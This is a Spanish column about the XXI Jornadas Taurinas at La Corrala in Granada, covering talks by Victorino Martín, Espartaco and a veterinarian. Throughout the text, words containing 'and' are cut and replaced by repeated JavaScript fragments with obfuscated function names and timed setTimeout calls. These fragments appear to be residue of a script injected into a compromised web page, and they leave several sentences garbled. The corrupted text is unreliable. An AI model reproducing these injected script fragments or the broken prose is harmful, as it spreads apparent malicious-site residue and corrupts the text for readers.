LA CORRALA, UN EJEMPLO

La semana pasada se celebraron las XXI Jornadas Taurinas, patrocinadas por la Universidad de Granada y organizadas por ese cóctel explosivo de afición, tenacidad, eficacia, entrega y buen hacer, que es Ana Belén Álvarez Abuín, presidenta de la plaza de toros de Granada, Vocal del Consejo Andaluz de Asuntos Taurinos y receptora del testigo que, durante tantos años, llevaran en comandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andita ella y el entonces director de la Corrala de Santiago, Juan Carlos Orte.

La Corrala es una antigua casa de vecindad, que data del siglo XVII, situada en el histórico barrio del Realejo y reconvertida actualmente en residencia para invitados de la Universidad granadina, en cuyo bellísimo marco tiene lugar esa ineludible cita anual con la cultura y el toreo que son sus ya prestigiosas “jornadas”, cuya buena salud puede medirse por el numeroso público que asiste a ellas, cada año en progresión creciente.

Estas actividades, además de encomiables, se revelan absolutamente necesarias para seguir manteniendo viva la llama del toreo entre la afición, máxime en estas fechas cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando todos estamos aún al aguardo de que suene el clarín de la temporada. En esta ocasión, y al margen de que me brindaran la oportunidad de presentar mi último libro “El toreo frente al mundo”, tuvimos la presencia de Victorino Martín García, de Juan Antonio Ruiz “Espartaco” y del veterinario y director técnico sanitario, José Luis Díaz Ortiz, que nos habló de la relación del veterinario y el toro de lidia tanto en el campo como en la plaza.

Victorino, por su parte, nos deleitó con verbo fácil y ameno ilustrándonos con los pormenores de los inicios de su padre para adquirir la ganadería y se dejó llevar por el orgullo y la emoción al hablarnos de “Cobradiezmos”, el toro indultado el pasado año en Sevilla, que hoy, junto a sus treinta novias, goza en “Monteviejo” de esa vida tan bravamente ganada. Además, nos anunció que tal nombre iba a hacerlo desaparecer de la ganadería para que en adelante ningún otro toro pudiera llevarlo; para que “Cobradiezmos” fuera una denominación tan singular como el legendario toro que hoy lo luce en triunfo.

También nos emocionó, la emoción de Espartaco –ojos humedecidos y brillantes– cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando recordó los consejos de su padre, desde la grada, a la hora de culminar la suerte suprema con “Facultades”, el toro que le daría un vuelco a su vida, llevándolo de pretender sacar el carnet de bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero a catapultarlo a la cima de la fama. Dicharachero, simpático, cercano, Juan Antonio haría luego las delicias del público que abarrotaba la sala –llena todos los días–, narrándonos sus peripecias por América cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, con trece años, su padre se lo llevó a cruzar el Atlántico porque su corta edad le impedía torear en España. Tiempos aventureros en los que formaba parte de la troupe del Chino torero y hacía el papel de lobo en una mojiganga de Caperucita Roja.

Como denominador común de todas las jornadas y de sus respectivos ponentes, se habló sobre el incierto futuro de la Fiesta, del ataque del fanatismo antitaurino y de la necesidad de lograr una unión que no se acaba de consolidar porque se avanza en ello a paso de tortuga. Todo lo contrario que estas Jornadas, cada vez más arraigadas en el corazón de la afición granadina y cita obligatoria de la cultura y el toreo cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando febrero cruza su ecuador.

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